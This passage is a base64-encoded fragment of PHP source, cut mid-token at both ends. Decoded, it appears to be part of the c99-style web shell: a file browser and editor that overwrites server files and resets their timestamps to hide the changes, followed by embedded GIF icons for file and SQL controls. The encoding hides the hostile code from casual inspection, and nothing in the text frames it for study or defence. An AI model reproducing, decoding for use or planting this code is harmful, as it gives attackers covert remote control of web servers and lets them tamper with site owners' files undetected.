ImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9aW1nJmQ9Ii51cmxlbmNvZGUoJGQpLiImaW1nc2l6ZT0iLiR2LiJcIj4iOwogICAgIGlmICgkaW1nc2l6ZSAhPSAkdiApIHtlY2hvICR2O30KICAgICBlbHNlIHtlY2hvICI8dT4iLiR2LiI8L3U+Ijt9CiAgICAgZWNobyAiPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyI7CiAgICB9CiAgICBlY2hvICI8YnI+PGJyPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbWcmd2hpdGU9MSZkPSIudXJsZW5jb2RlKCRkKS4iXCIgd2lkdGg9XCIiLiR3aWR0aC4iXCIgaGVpZ2h0PVwiIi4kaGVpZ2h0LiJcIiBib3JkZXI9XCIxXCI+PC9jZW50ZXI+IjsKICAgfQogICBlbHNlCiAgIHsKICAgIEBvYl9jbGVhbigpOwogICAgJGV4dCA9IGV4cGxvZGUoJGYsIi4iKTsKICAgICRleHQgPSAkZXh0W2NvdW50KCRleHQpLTFdOwogICAgaGVhZGVyKCJDb250ZW50LXR5cGU6ICIuJGluZlsibWltZSJdKTsKICAgIHJlYWRmaWxlKCRkLiRmKTsKICAgIGV4aXQ7CiAgIH0KICB9CiAgZWxzZWlmICgkZnQgPT0gImVkaXQiKQogIHsKICAgaWYgKCFlbXB0eSgkc3VibWl0KSkKICAgewogICAgaWYgKCRmaWxlc3RlYWx0aCkgeyRzdGF0ID0gc3RhdCgkZC4kZik7fQogICAgJGZwID0gZm9wZW4oJGQuJGYsInciKTsKICAgIGlmICghJGZwKSB7ZWNobyAiPGI+Q2FuJ3Qgd3JpdGUgdG8gZmlsZSE8L2I+Ijt9CiAgICBlbHNlCiAgICB7CiAgICAgZWNobyAiPGI+U2F2ZWQhPC9iPiI7CiAgICAgZndyaXRlKCRmcCwkZWRpdF90ZXh0KTsKICAgICBmY2xvc2UoJGZwKTsKICAgICBpZiAoJGZpbGVzdGVhbHRoKSB7dG91Y2goJGQuJGYsJHN0YXRbOV0sJHN0YXRbOF0pO30KICAgICAkciA9ICRlZGl0X3RleHQ7CiAgICB9CiAgIH0KICAgJHJvd3MgPSBjb3VudChleHBsb2RlKCJcclxuIiwkcikpOwogICBpZiAoJHJvd3MgPCAxMCkgeyRyb3dzID0gMTA7fQogICBpZiAoJHJvd3MgPiAzMCkgeyRyb3dzID0gMzA7fQogICBlY2hvICI8Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWVkaXQmZD0iLnVybGVuY29kZSgkZCkuIlwiIG1ldGhvZD1QT1NUPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIlNhdmVcIj4mbmJzcDs8aW5wdXQgdHlwZT1cInJlc2V0XCIgdmFsdWU9XCJSZXNldFwiPiZuYnNwOzxpbnB1dCB0eXBlPVwiYnV0dG9uXCIgb25jbGljaz1cImxvY2F0aW9uLmhyZWY9JyIuYWRkc2xhc2hlcygkc3VybC4iYWN0PWxzJmQ9Ii5zdWJzdHIoJGQsMCwtMSkpLiInO1wiIHZhbHVlPVwiQmFja1wiPjxicj48dGV4dGFyZWEgbmFtZT1cImVkaXRfdGV4dFwiIGNvbHM9XCIxMjJcIiByb3dzPVwiIi4kcm93cy4iXCI+Ii5odG1sc3BlY2lhbGNoYXJzKCRyKS4iPC90ZXh0YXJlYT48L2Zvcm0+IjsKICB9CiAgZWxzZWlmICghZW1wdHkoJGZ0KSkge2VjaG8gIjxjZW50ZXI+PGI+TWFudWFsbHkgc2VsZWN0ZWQgdHlwZSBpcyBpbmNvcnJlY3QuIElmIHlvdSB0aGluaywgaXQgaXMgbWlzdGFrZSwgcGxlYXNlIHNlbmQgdXMgdXJsIGFuZCBkdW1wIG9mIFwkR0xPQkFMUy48L2I+PC9jZW50ZXI+Ijt9CiAgZWxzZSB7ZWNobyAiPGNlbnRlcj48Yj5Vbmtub3duIGV4dGVuc2lvbiAoIi4kZXh0LiIpLCBwbGVhc2UsIHNlbGVjdCB0eXBlIG1hbnVhbGx5LjwvYj48L2NlbnRlcj4iO30KIH0KfQp9CmVsc2UKewogQG9iX2NsZWFuKCk7CiAkaW1hZ2VzID0gYXJyYXkoCiJhcnJvd19sdHIiPT4KIlIwbEdPRGxoSmdBV0FJQUFBQUFBQVAvLy95SDVCQVVVQUFFQUxBQUFBQUFtQUJZQUFBSXZqSStweSswUEY0aTBnVnZ6dVZ4WERub1EiLgoiU0lyVVpHWm9lcktmMjhLalBOUE9ha3U1UmZaK3VRc0toOFJpb2dBQU93PT0iLAoiYmFjayI9PgoiUjBsR09EbGhGQUFVQUtJQUFBQUFBUC8vLzkzZDNjREF3SWFHaGdRRUJQLy8vd0FBQUNINUJBRUFBQVlBTEFBQUFBQVVBQlFBQUFNOCIuCiJhTHJjL2pES1NXV3BqVnlzU05pWUo0Q1VPQkpvcWpuaUlMend1ekx0WU4vM3pCU0VyZjZrQlcrZ0tSaVBSZ2hQaCtFRkswbU9VRXF0Ii4KIldnMEpBRHM9IiwKImJ1ZmZlciI9PgoiUjBsR09EbGhGQUFVQUtJQUFBQUFBUC8vLy9qNCtOM2QzY3pNekxLeXNvYUdodi8vL3lINUJBRUFBQWNBTEFBQUFBQVVBQlFBQUFObyIuCiJlTHJjcmliRzkweTRGMUFtdTUrTmhZMmt4bDJDTUt3clFSU0d1VmpwNExtd0RBV3FpQUdGWENoZyt4aG5SQitwdExPaGFpMWNyRW1EIi4KIkRsd3Y0Y0VDNDZtaTJZZ0pRS2F4c0VHREZubkd3V0RURXpqOWpyUFJkYmh1RzhDci8ySU5aSU9FaFhzYkR3a0FPdz09IiwKImNoYW5nZSI9PgoiUjBsR09EbGhGQUFVQU1RZkFMM2hqN25YK3BxbzFlankvZjdZQWNUYis4dmgrNkZ0SDU2V1p0dnIvUkFRRVplY3g5TGwvUFg2L3YzKyIuCiIvM2VIdDZxODhlSHUvWmtmSDN5VnlJdVF0KzcyL2tPbTk5Zm8vUDhBWm01N3JrR1M0SGV6NnBpbDlvZXAzR1ptWnYvLy95SDVCQUVBIi4KIkFCOEFMQUFBQUFBVUFCUUFBQVdmNENlT1pHbWU2Tm10TE91bFgrYzRUVk5WUTdlOXFGemZnNEhGb25rZEpBNVM1NGNiUkFvRnlFT0MiLgoid1NpVXRtWWtrcmd3T0FlQTV6cnFhTGxkQmlOTUlKZUQyNjZYWVRnUURtNVJ4OG1kRytvQWJTWWRhSDRHYTNjOEpCTUphWFFHQlFnQSIuCiJDSGtqRTRhUWtRMEFsU0lUYW4rWkFRcWtpaVFQajFBRkFhTUtFS1lqRDM5UXJLd0tBYThuR1FLOEFndS9DeFRDc0NNZXhzZkl4akRMIi4KInpNc2hBRHM9IiwKImRlbGV0ZSI9PgoiUjBsR09EbGhGQUFVQU9aWkFQejgvTlBGeU5nSExzMFlPdlB6OC9iMjlzYWNwTlhWMWZYMTljd1hPZkR3OEtlbnAvbjUrZXRnZXVucCIuCiI2ZGNHTE1NcFJ1cnE2cEtTa3R2YjIrL3Y3KzF3aDNSMGRQblAxN2lBaXB4eWVsOWZYN2RqY3NjU005M2QzWkdSa2VFc1RldmQ0TEN3Ii4KInNHUmtaR3BPVStJZlErRVFOb2g2ZmRJY1BlSGg0WVdGaGJKUVl2THk4dWkreG01dWJzeGNjT3g4a2NNNFV0WTlXZUFkUVltSmlmV3YiLgoidkh4OGZNbkp5Y00zVWYzdjhyUnVlOThPTmJPenM5WUZLNVNVbEtZb1ArVGs1TjBvU3VmbjU3WkdXc1FyUjlrSUw1Q1FrT1BqNDJWbCIuCiJaZUFQTnVkQVg5c0tNUHY3KzE1UVU1dWJtMzkvZjhlNXU0eGlhdHJhMnViS3o4UER3K3BmZWU5L2xNSzB0ODFyZmQ4QUtmLy8vd0FBIi4KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLgoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUNINSIuCiJCQUVBQUZrQUxBQUFBQUFVQUJRQUFBZXNnRm1DZzRTRmhvZUloaVVmSUltSU1sZ1FCNDZHTEFsWVFrYUZWVmhTQUlaTFQ1Y2JFWUk0Ii4KIlNUbzVNeE9maFF3QkExZ1lDaGNrUUJrMU93aUlBTEFDTGtneEppbFRCSTY5UkZoREZoNEhESlJaVkZnUFBGQlIwRmtOV0RkTUhBOEciLgoiQlpUYU1DSVNWZ01DNElrVldDY2FQU2k5Nk9xR05GaEtJMDRkZ3IwUVdGY0tETDNBNHVPSWpWWlpBQnhRSVdEQkxrSUVRclJvUXNIUSIuCiJqd1ZGSEJnaUVHUUZJZ1Fhc1lrY1NiSlFJQUE3IiwKImRvd25sb2FkIj0+CiJSMGxHT0RsaEZBQVVBTE1JQUFEL0FBQ0FBSUFBQU1EQXdIOS9mLzhBQVAvLy93QUFBUC8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4KIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVUFCUUFBQVJPRU1sSnE3MDRVeUdPdmtMaGZWVTRrcE9KU3B4NW5GOVlpQ3RMZjBTdUg3cHUiLgoiRVlPZ2NCZ2t3QWlHcEhLWnpCMkp4QURBU1FGQ2lkUUpzTWZkR3FzREpuT1FsWFRQMzhwcnpXYlgzcWdJQURzPSIsCiJmb3J3YXJkIj0+CiJSMGxHT0RsaEZBQVVBUElBQUFBQUFQLy8vOTNkM2NEQXdJYUdoZ1FFQlAvLy93QUFBQ0g1QkFFQUFBWUFMQUFBQUFBVUFCUUFBQU04Ii4KImFMcmMvakRLMlFwOXhWNVdpTjVHNTBGWmFSTEQ2SWhFNjZMcHQzUkRiZDlDUUZTRTRQKytRVzdIZTdVS1BoMElxVncybDBSUVNFcXQiLgoiV3FzSkFEcz0iLAoiaG9tZSI9PgoiUjBsR09EbGhGQUFVQUxNQUFBQUFBUC8vLytycTZ0M2QzY3pNekxLeXNvYUdobVptWmdRRUJQLy8vd0FBQUFBQUFBQUFBQUFBQUFBQSIuCiJBQUFBQUNINUJBRUFBQWtBTEFBQUFBQVVBQlFBQUFSK01NazVUVFdJNmlweU1vTzNjVVdSZ2VKb0NDYUxvS08wbXEwWnhqTlNCRFdTIi4KImtycUFzTGZKN1lRQmw0dGlSQ1lGU3BQTWRSUkNvUU9pTDRpOENnWmdrMDlXZldMQllaSEI2VVdqQ2VxdXdFREh1T0VWSzNRdGdOL2oiLgoiVndNckJEWnZnRitDaEhhR2VZaUNCUVlIQ0g4VkJKYVdkQWVTbDVZaVc1K2dvQklSQURzPSIsCiJtb2RlIj0+CiJSMGxHT0RsaEhRQVVBTE1BQUFBQUFQLy8vNkNncE4zZDNjek16SWFHaG1abVpsOWZYLy8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4KIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBZEFCUUFBQVNCRU1sSnE3MDQ2MW02LytBSFpNVWduR2lxbmlOV0hIQXN6M0Y3RlVHdTczeE8iLgoiMkJaY3dHRG9FWGsvVXE0SUNBQ2VRNmZ6bVhUbG5zMGRkbGU5OWI3Y0Z2WXBFUjU1WjEwWHkxbEt0OHdwb0lzQUNyZGFxQnBZRVlLLyIuCiJkSDFMUldpRWUwcFJUWEJ2Vkh3VWQzbzZlRDZPSEFTWG1KbWFtSlVTWTUrZ254dWpwQklSQURzPSIsCiJyZWZyZXNoIj0+CiJSMGxHT0RsaEVRQVVBTE1BQUFBQUFQLy8vL0h4OGVycTZ1UGo0OTNkM2N6TXpMS3lzb2FHaG1abVpsOWZYd1FFQlAvLy93QUFBQUFBIi4KIkFBQUFBQ0g1QkFFQUFBd0FMQUFBQUFBUkFCUUFBQVIxa01sSnEwUTQ2MHhSK0dBb0lNdmtoZUlZbE15SkJrSjhsbTZZeE1LaTZ6V1kiLgoiM0FLQ1liam8vWTRFUXFGZ0tJWVVoOEV2dVdRNlB3UEZRSnBVTHB1bnJYWkxyWUt4MjBHM29EQTcwOTNFc3YxOXE1Ty93b0Z1OVpBSiIuCiJSM2x1Zm1XQ1ZYMTNoM0tIZldXTWpHQkRrcE9VVFR1WG1KZ1JBRHM9IiwKInNlYXJjaCI9PgoiUjBsR09EbGhGQUFVQUxNQUFBQUFBUC8vLytycTZ0M2QzY3pNek1EQXdMS3lzb2FHaG5kM2QyWm1abDlmWDAxTlRTa3BLUVFFQlAvLyIuCiIvd0FBQUNINUJBRUFBQTRBTEFBQUFBQVVBQlFBQUFTbjBNbDVxajB6NXhyNitKWkdlVVpwSElxUk5PSVJmSVlpeSthNnZjT3BIT2FwIi4KInM1SUtRY2N6OFhnSzRFR2dRcVdNdmtyU3NjeWxob2FGVm11WkxnVURBblp4RUJNT0RTbnJraGlTQ1o0Q0dyVVdNQStMTER4dVNIc0QiLgoiQWtONEMzc2ZCWDEwVkhhQko0UWZBNGVJVTRwaWpRY0ZtQ1ZvTmtGbGdnY01SU2NOU1VDZEp5aG9EYXNOWjVNVERWc1hCd2x2aVJtciIuCiJDYnE3QzZzSXJxYXdyS3dUdjY4aXlBNnJEaEVBT3c9PSIsCiJzZXR1cCI9PgoiUjBsR09EbGhGQUFVQU1RQUFBQUFBUC8vLy9qNCtPUGo0OTNkM2N6TXpNREF3TEt5c3BhV2xvYUdobmQzZDJabVpsOWZYMDFOVFVKQyIuCiJRaHdjSFAvLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDSDVCQUVBIi4KIkFCQUFMQUFBQUFBVUFCUUFBQVdWSUNTS2lrS1dhRG11U2hDVWJqek13RW9HaFZ2c2ZIRUVOUllPZ2VnbGprZWcwUEY0S0JJRlJNSUIiLgoicUNhQ0o0ZUlHUVZvSVZXc1RmUW9YTWZvVWZtTVpyZ1oyR05EUEdJSTdnSkRMWUVyd0cxdmdXOENDUXR6Z0hpSkFuYUZoeXQyZHdRRSIuCiJPd2NNWm9aMGtKS1VsWmVPZFFLYlBnZWRqWm1obkFjSmxxYUlxVWVzbUlpa3BFaXhueUpodWxVTWhnMjRhU082WXlFQU93PT0iLAoic21hbGxfZGlyIj0+CiJSMGxHT0RsaEV3QVFBTE1BQUFBQUFQLy8vNXljQU03T1kvLy9uUC8venYvT25QZjM5Ly8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4KIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLgoiLzRZY2hmZnpHUWhINFlSWVBCMkRPbEhQaUt3cWQxUHE4eXJWVmczUVllSDVSWUs1ckpmYUZVVUEzdkI0ZkJJQkFEcz0iLAoic21hbGxfdW5rIj0+CiJSMGxHT0RsaEVBQVFBSGNBQUNINUJBRUFBSlVBTEFBQUFBQVFBQkFBaHdBQUFJZXAzQkU5bWxsaWMzQjVpVnBqZE12aC9NTGMreTFVIi4KInA5UG0vR1Z1ZmM3ai9NelYvOVhtL0VPbTk5Ym4vTmpwL2E3USt0VG0vTEhTK2VYdy90M3IvTm5wL2Rqby9OcnEvZmo3Lzl2cS9OZm8iLgoiL01iZSs4cmgvTW5nKzdqVytydlkrcjdaKzdYUjlkRGsvTkhrL05MbC9MVFUrcm5YKzh6aS9MYlYrK2Z4L2U3Mi92SDMvdkw0L3UzMSIuCiIvZTMxL3VEdS9kenIvT3J6L2VIdS9mWDYvdkg0L3YvLy8vdisvM2V6NnZmNy8vVDUva0dTNFB2OS83WFYrckhUK3IvYityemErdlA0Ii4KIi91ejAvdXJ6L3U3MS91dnovZFRuL00vay9OM3MvZHZyL2NqZys4UGQrOEhjK3NmZis4VGUrL0QyL3JYSThySEY4YnJNODdmSjhubVAiLgoid3IzTjg2L0Q4S3ZCOEY5bmVFRm90RUJudEVOcHRFTnB0U3hVcHgxSW9EbGZyVFJjclplZXlaYWN4cG1oekl1UnRwV1p4SXVPdUtxeiIuCiI5Wk9Xd1g2SXMzV0l1NWltMDdySjlKMnQyWmVrMG01N3JwcW8xbktDdFVWcnRZaXIzdmY2LzQ2djRZdXU0V1p2ZnI3UDZzUFM2c0RRIi4KIjY2WEI2Y2paOGEvSzc5L3MvZGJuL2V6ei9jemQ5bU4waktUQjZhaS83Nlc5N25pWHoyR0N3VjZBd1Vkc3RYeVZ5R1NEd25tWXo0aW8iLgoiMjRPaTFhM0I0NVN5NGFlOTQ0Q2N6NFNqMW4yR2xnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLgoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLgoiQUFqbkFDdFZDa0N3NEp4SkFRUXFGQmpBeG8wTU5HcXNBQlFBaDZDRkEzbmswTUhpUlJFVkRoenNvTFF3QUowZ1Q0VG9lY1NIQVlNeiIuCiJhUWdvRE5DQ1NCNEVBbkltQ2lTQmpVeUdMb2JnWEJUcGtBQTVJNnBnbVNrRHo1Y3VNU3o4eVdsQXlvQ1pGR2I0U1FLaEFTTUJYSnBNIi4KInVTclFFUXdrR2pZa1FDVEF5NkFsVU1oV2tsUUJ3NE1FaGdTQTZYUGdSeFM1aWk0MEtMRmdpNEJHVEVLQXNDS1hpaEVTQ3pyc2dTUUMiLgoieUlrVVYrU3FPWUxDQTRjc0F1cDg2T0dEa053NEJwUTRPYUJGZ0IwVEV5SVVLcUR3VFJzNGE5eU1DU09tREJveVp1NHNKS0Nnd0lEaiIuCiJ5QXNva0JrUUFEcz0iLAoibXVsdGlwYWdlIj0+IlIwbEdPRGxoQ2dBTUFKRURBUC8vLy8vM21RQUFBQUFBQUNINUJBRUFBQU1BTEFBQUFBQUtBQXdBQUFJajNJUiIuCiJwSmhDT0Rub3ZpZEFvdkJkTXp6a2l4bFhkbEkyb1pwSldFc1N5d0x6UlVBQUFPdz09IiwKInNvcnRfYXNjIj0+CiJSMGxHT0RsaERnQUpBS0lBQUFBQUFQLy8vOVRReUlDQWdQLy8vd0FBQUFBQUFBQUFBQ0g1QkFFQUFBUUFMQUFBQUFBT0FBa0FBQU1hIi4KIlNMcmNQY0U5R0tVYVFsUTVzTjVQbG9GTEozNU9vSzZxNVNZQU93PT0iLAoic29ydF9kZXNjIj0+CiJSMGxHT0RsaERnQUpBS0lBQUFBQUFQLy8vOVRReUlDQWdQLy8vd0FBQUFBQUFBQUFBQ0g1QkFFQUFBUUFMQUFBQUFBT0FBa0FBQU1iIi4KIlNMcmNPakJDQjRVVklUZ3lMdDVjaDJtZ1NKWkRCaTdwNmhJSkFEcz0iLAoic3FsX2J1dHRvbl9kcm9wIj0+CiJSMGxHT0RsaENRQUxBUGNBQUFBQUFJQUFBQUNBQUlDQUFBQUFnSUFBZ0FDQWdJQ0FnTURBd1A4QUFBRC9BUC8vQUFBQS8vOEEvd0QvIi4KIi8vLy8vd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLgoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNd0FBWmdBQW1RQUF6QUFBL3dBekFBQXpNd0F6WmdBem1RQXp6QUF6L3dCbSIuCiJBQUJtTXdCbVpnQm1tUUJtekFCbS93Q1pBQUNaTXdDWlpnQ1ptUUNaekFDWi93RE1BQURNTXdETVpnRE1tUURNekFETS93RC9BQUQvIi4KIk13RC9aZ0QvbVFEL3pBRC8vek1BQURNQU16TUFaak1BbVRNQXpETUEvek16QURNek16TXpaak16bVRNenpETXovek5tQURObU16Tm0iLgoiWmpObW1UTm16RE5tL3pPWkFET1pNek9aWmpPWm1UT1p6RE9aL3pQTUFEUE1NelBNWmpQTW1UUE16RFBNL3pQL0FEUC9NelAvWmpQLyIuCiJtVFAvekRQLy8yWUFBR1lBTTJZQVptWUFtV1lBekdZQS8yWXpBR1l6TTJZelptWXptV1l6ekdZei8yWm1BR1ptTTJabVptWm1tV1ptIi4KInpHWm0vMmFaQUdhWk0yYVpabWFabVdhWnpHYVovMmJNQUdiTU0yYk1abWJNbVdiTXpHYk0vMmIvQUdiL00yYi9abWIvbVdiL3pHYi8iLgoiLzVrQUFKa0FNNWtBWnBrQW1aa0F6SmtBLzVrekFKa3pNNWt6WnBrem1aa3p6Smt6LzVsbUFKbG1NNWxtWnBsbW1abG16SmxtLzVtWiIuCiJBSm1aTTVtWlpwbVptWm1aekptWi81bk1BSm5NTTVuTVpwbk1tWm5NekpuTS81bi9BSm4vTTVuL1pwbi9tWm4vekpuLy84d0FBTXdBIi4KIk04d0Fac3dBbWN3QXpNd0EvOHd6QU13ek04d3pac3d6bWN3enpNd3ovOHhtQU14bU04eG1ac3htbWN4bXpNeG0vOHlaQU15Wk04eVoiLgoiWnN5Wm1jeVp6TXlaLzh6TUFNek1NOHpNWnN6TW1jek16TXpNLzh6L0FNei9NOHovWnN6L21jei96TXovLy84QUFQOEFNLzhBWnY4QSIuCiJtZjhBelA4QS8vOHpBUDh6TS84elp2OHptZjh6elA4ei8vOW1BUDltTS85bVp2OW1tZjltelA5bS8vK1pBUCtaTS8rWlp2K1ptZitaIi4KInpQK1ovLy9NQVAvTU0vL01adi9NbWYvTXpQL00vLy8vQVAvL00vLy9adi8vbWYvL3pQLy8veUg1QkFFQUFCQUFMQUFBQUFBSkFBc0EiLgoiQUFnNEFQOEpSRUZRNEQrQ0NCT2k0TWF3SVRlRkNnL2lRaEVQeGNTQmxGQ29RNUZ4NE1TS3YxQmdSR0dNbzBpSkZDMmVoSGpTb010LyIuCiJBUUVBT3c9PSIsCiJzcWxfYnV0dG9uX2VtcHR5Ij0+CiJSMGxHT0RsaENRQUtBUGNBQUFBQUFJQUFBQUNBQUlDQUFBQUFnSUFBZ0FDQWdJQ0FnTURBd1A4QUFBRC9BUC8vQUFBQS8vOEEvd0QvIi4KIi8vLy8vd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLgoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNd0FBWmdBQW1RQUF6QUFBL3dBekFBQXpNd0F6WmdBem1RQXp6QUF6L3dCbSIuCiJBQUJtTXdCbVpnQm1tUUJtekFCbS93Q1pBQUNaTXdDWlpnQ1ptUUNaekFDWi93RE1BQURNTXdETVpnRE1tUURNekFETS93RC9BQUQvIi4KIk13RC9aZ0QvbVFEL3pBRC8vek1BQURNQU16TUFaak1BbVRNQXpETUEvek16QURNek16TXpaak16bVRNenpETXovek5tQURObU16Tm0iLgoiWmpObW1UTm16RE5tL3pPWkFET1pNek9aWmpPWm1UT1p6RE9aL3pQTUFEUE1NelBNWmpQTW1UUE16RFBNL3pQL0FEUC9NelAvWmpQLyIuCiJtVFAvekRQLy8yWUFBR1lBTTJZQVptWUFtV1lBekdZQS8yWXpBR1l6TTJZelptWXptV1l6ekdZei8yWm1BR1ptTTJabVptWm1tV1ptIi4KInpHWm0vMmFaQUdhWk0yYVpabWFabVdhWnpHYVovMmJNQUdiTU0yYk1abWJNbVdiTXpHYk0vMmIvQUdiL00yYi9abWIvbVdiL3pHYi8iLgoiLzVrQUFKa0FNNWtBWnBrQW1aa0F6SmtBLzVrekFKa3pNNWt6WnBrem1aa3p6Smt6LzVsbUFKbG1NNWxtWnBsbW1abG16SmxtLzVtWiIuCiJBSm1aTTVtWlpwbVptWm1aekptWi81bk1BSm5NTTVuTVpwbk1tWm5NekpuTS81bi9BSm4vTTVuL1pwbi9tWm4vekpuLy84d0FBTXdBIi4KIk04d0Fac3dBbWN3QXpNd0EvOHd6QU13ek04d3pac3d6bWN3enpNd3ovOHhtQU14bU04eG1ac3htbWN4bXpNeG0vOHlaQU15Wk04eVoiLgoiWnN5Wm1jeVp6TXlaLzh6TUFNek1NOHpNWnN6TW1jek16TXpNLzh6L0FNei9NOHovWnN6L21jei96TXovLy84QUFQOEFNLzhBWnY4QSIuCiJtZjhBelA4QS8vOHpBUDh6TS84elp2OHptZjh6elA4ei8vOW1BUDltTS85bVp2OW1tZjltelA5bS8vK1pBUCtaTS8rWlp2K1ptZitaIi4KInpQK1ovLy9NQVAvTU0vL01adi9NbWYvTXpQL00vLy8vQVAvL00vLy9adi8vbWYvL3pQLy8veUg1QkFFQUFCQUFMQUFBQUFBSkFBb0EiLgoiQUFnakFQOEpSRUZRNEQrQ0NCT2lNTWhRb2NLREVCY3VqRWlSb3NTQkZqRmVuT2h3WVVBQU93PT0iLAoic3FsX2J1dHRvbl9pbnNlcnQiPT4KIlIwbEdPRGxoRFFBTUFQY0FBQUFBQUlBQUFBQ0FBSUNBQUFBQWdJQUFnQUNBZ0lDQWdNREF3UDhBQUFEL0FQLy9BQUFBLy84QS93RC8iLgoiLy8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU13QUFaZ0FBbVFBQXpBQUEvd0F6QUFBek13QXpaZ0F6bVFBenpBQXovd0JtIi4KIkFBQm1Nd0JtWmdCbW1RQm16QUJtL3dDWkFBQ1pNd0NaWmdDWm1RQ1p6QUNaL3dETUFBRE1Nd0RNWmdETW1RRE16QURNL3dEL0FBRC8iLgoiTXdEL1pnRC9tUUQvekFELy96TUFBRE1BTXpNQVpqTUFtVE1BekRNQS96TXpBRE16TXpNelpqTXptVE16ekRNei96Tm1BRE5tTXpObSIuCiJaak5tbVRObXpETm0vek9aQURPWk16T1paak9abVRPWnpET1ovelBNQURQTU16UE1aalBNbVRQTXpEUE0velAvQURQL016UC9aalAvIi4KIm1UUC96RFAvLzJZQUFHWUFNMllBWm1ZQW1XWUF6R1lBLzJZekFHWXpNMll6Wm1Zem1XWXp6R1l6LzJabUFHWm1NMlptWm1abW1XWm0iLgoiekdabS8yYVpBR2FaTTJhWlptYVptV2FaekdhWi8yYk1BR2JNTTJiTVptYk1tV2JNekdiTS8yYi9BR2IvTTJiL1ptYi9tV2IvekdiLyIuCiIvNWtBQUprQU01a0FacGtBbVprQXpKa0EvNWt6QUprek01a3pacGt6bVprenpKa3ovNWxtQUpsbU01bG1acGxtbVpsbXpKbG0vNW1aIi4KIkFKbVpNNW1aWnBtWm1abVp6Sm1aLzVuTUFKbk1NNW5NWnBuTW1abk16Sm5NLzVuL0FKbi9NNW4vWnBuL21abi96Sm4vLzh3QUFNd0EiLgoiTTh3QVpzd0FtY3dBek13QS84d3pBTXd6TTh3elpzd3ptY3d6ek13ei84eG1BTXhtTTh4bVpzeG1tY3htek14bS84eVpBTXlaTTh5WiIuCiJac3labWN5WnpNeVovOHpNQU16TU04ek1ac3pNbWN6TXpNek0vOHovQU16L004ei9ac3ovbWN6L3pNei8vLzhBQVA4QU0vOEFadjhBIi4KIm1mOEF6UDhBLy84ekFQOHpNLzh6WnY4em1mOHp6UDh6Ly85bUFQOW1NLzltWnY5bW1mOW16UDltLy8rWkFQK1pNLytaWnYrWm1mK1oiLgoielArWi8vL01BUC9NTS8vTVp2L01tZi9NelAvTS8vLy9BUC8vTS8vL1p2Ly9tZi8velAvLy95SDVCQUVBQUJBQUxBQUFBQUFOQUF3QSIuCiJBQWd6QUZFSUhFaXdvTUdEQ0JINlcwZ3RvVUIvLzFCRU5PaVAyc0tFQ3pOZU5JaXFZMGQvRkJmK3kwalI0OGVRR1VjNkpCZ1FBRHM9IiwKInVwIj0+CiJSMGxHT0RsaEZBQVVBTE1BQUFBQUFQLy8vL2o0K09QajQ5M2QzY3pNekxLeXNvYUdoazFOVGYvLy93QUFBQUFBQUFBQUFBQUFBQUFBIi4KIkFBQUFBQ0g1QkFFQUFBa0FMQUFBQUFBVUFCUUFBQVIwTU1sSnE3MzRuczFQbmtjZ2pnWHdoY05RcklWaG1Gb256eHdRam5pZTI3amciLgoiKzRRZ3kzWGdCWDRJb0hEbE1oUnZnZ0ZpR2lTd1dzNVh5RGZ0V3BsRUorOUhRQ3l4MmMxW